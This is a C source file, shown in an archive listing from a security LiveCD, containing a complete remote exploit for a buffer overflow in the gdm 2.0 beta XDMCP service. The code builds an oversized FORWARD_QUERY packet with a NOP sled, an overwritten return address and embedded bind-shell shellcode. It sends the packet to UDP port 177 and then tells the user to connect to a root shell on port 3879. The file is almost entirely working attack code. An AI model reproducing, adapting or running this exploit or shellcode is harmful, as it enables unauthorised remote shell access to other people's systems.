home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / gdm-xpl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  147 lines

  1. /*
  2.  *             gdm (xdmcp) exploit
  3.  *         written 05/2000 by AbraxaS
  4.  *
  5.  *     abraxas@sekure.de && www.sekure.de
  6.  *
  7.  *
  8.  * Tested on:  SuSE 6.2 / gdm-2.0beta1-4,
  9.  *           RedHat 6.2 / gdm-2.0beta2
  10.  *
  11.  * Offsets: Worked with offsets between 0 and 300
  12.  *
  13.  * Usage: gdmexpl [target] [offset]
  14.  *
  15.  * Note: Just a proof of concept.
  16.  *
  17.  * Greetings to: dies, grue, lamagra & (silly) peak
  18.  */
  19.  
  20.  
  21. #include <stdio.h>
  22. #include <strings.h>
  23. #include <unistd.h>
  24. #include <netinet/in.h>
  25. #include <sys/socket.h>
  26. #include <sys/types.h>
  27. #include <netdb.h>
  28.  
  29. #define NOP 0x90
  30.  
  31. /* lammys bind shell code / binds a shell to port 3879 */
  32. char code[]=
  33. "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  34. "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  35. "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  36. "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  37. "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  38. "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  39. "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  40. "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
  41.  
  42.  
  43. int resolve (char *denise)
  44. {
  45.   struct hostent *info;
  46.   unsigned long ip;
  47.  
  48.   if ((ip=inet_addr(denise))==-1)
  49.   {
  50.     if ((info=gethostbyname(denise))==0)
  51.     {
  52.       printf("Couldn't resolve [%s]\n", denise);
  53.       exit(0);
  54.     }
  55.     memcpy(&ip, (info->h_addr), 4);
  56.   }
  57.   return (ip);
  58. }
  59.  
  60.  
  61. int main (int argc, char **argv)
  62. {
  63.   char uhm;
  64.   int nadine;
  65.   short blah[6];
  66.   char buffy[1400]; /* you might make this buffer bigger to increase the
  67.                        probability to hit the right addy. making the
  68.                        buffer too big could destroy the code though */
  69.   unsigned long addy;
  70.   struct sockaddr_in stephanie;
  71.   char big_buffy[sizeof(buffy)+12];
  72.  
  73.   if (argc < 3)
  74.   {
  75.     printf("\nGDM 2.0betaX exploit by AbraxaS (abraxas@sekure.de)"
  76.            "\nUsage: %s [target] [offset]\n", argv[0]);
  77.     exit(0);
  78.   }
  79.  
  80.   addy = 0xbffff8c0-atoi(argv[2]);
  81.  
  82.   stephanie.sin_family = AF_INET;
  83.   stephanie.sin_port = htons (177);
  84.   stephanie.sin_addr.s_addr = resolve(argv[1]);
  85.   nadine = socket (AF_INET, SOCK_DGRAM, 0);
  86.  
  87.   if (connect(nadine,(struct sockaddr *)&stephanie,sizeof(struct
  88. sockaddr))<0)
  89.   {
  90.     perror("Connect"); exit(0);
  91.   }
  92.  
  93.   /* filling buffer.buffy with NOPs */
  94.   memset(buffy, NOP, sizeof(buffy));
  95.   /* cleaning buffer.big_buffy */
  96.   bzero(big_buffy, sizeof(big_buffy));
  97.  
  98.   /*
  99.    *   creating XDMCP header
  100.    */
  101.  
  102.   /* XDM_PROTOCOL_VERSION */
  103.   blah[0] = htons(1);
  104.   /* opcode "FORWARD_QUERY" */
  105.   blah[1] = htons(4);
  106.   /* length (checksum)*/
  107.   blah[2] = htons(5+sizeof(buffy)); /* see checksum algorithm */
  108.   /* length of display buffer */
  109.   blah[3] = htons(sizeof(buffy));
  110.   /* display port */
  111.   blah[4] = htons(0);
  112.   /* authlist */
  113.   blah[5] = htons(0);
  114.  
  115.   *(short *)&big_buffy[0]=blah[0];
  116.   *(short *)&big_buffy[2]=blah[1];
  117.   *(short *)&big_buffy[4]=blah[2];
  118.   *(short *)&big_buffy[6]=blah[3];
  119.   *(short *)&big_buffy[sizeof(buffy)+8]=blah[4];
  120.   *(short *)&big_buffy[sizeof(buffy)+10]=blah[5];
  121.  
  122.  
  123.   /* writing shellcode */
  124.   memcpy(buffy+sizeof(buffy)-strlen(code), code, strlen(code));
  125.  
  126.   /* fixing some stuff */
  127.   *(long *)&buffy[0] = 0x0100007f; /* source address, not neccessary */
  128.   *(long *)&buffy[4] = 0x00000000; /* cleaning clnt_authlist */
  129.   *(long *)&buffy[8] = 0x00000000;
  130.  
  131.   /* writing own RET address */
  132.   *(long *)&buffy[32]=addy;
  133.  
  134.   /* copying buffy into big_buffy */
  135.   memcpy(big_buffy+8, buffy, sizeof(buffy));
  136.  
  137.   /* sending big_buffy */
  138.   write(nadine, big_buffy, sizeof(big_buffy));
  139.  
  140.   printf("\nConnect to %s, port 3879 now.", argv[1]);
  141.   printf("\nBut behave :) --abraxas\n");
  142.  
  143.   close(nadine);
  144.  
  145. }
  146.  
  147.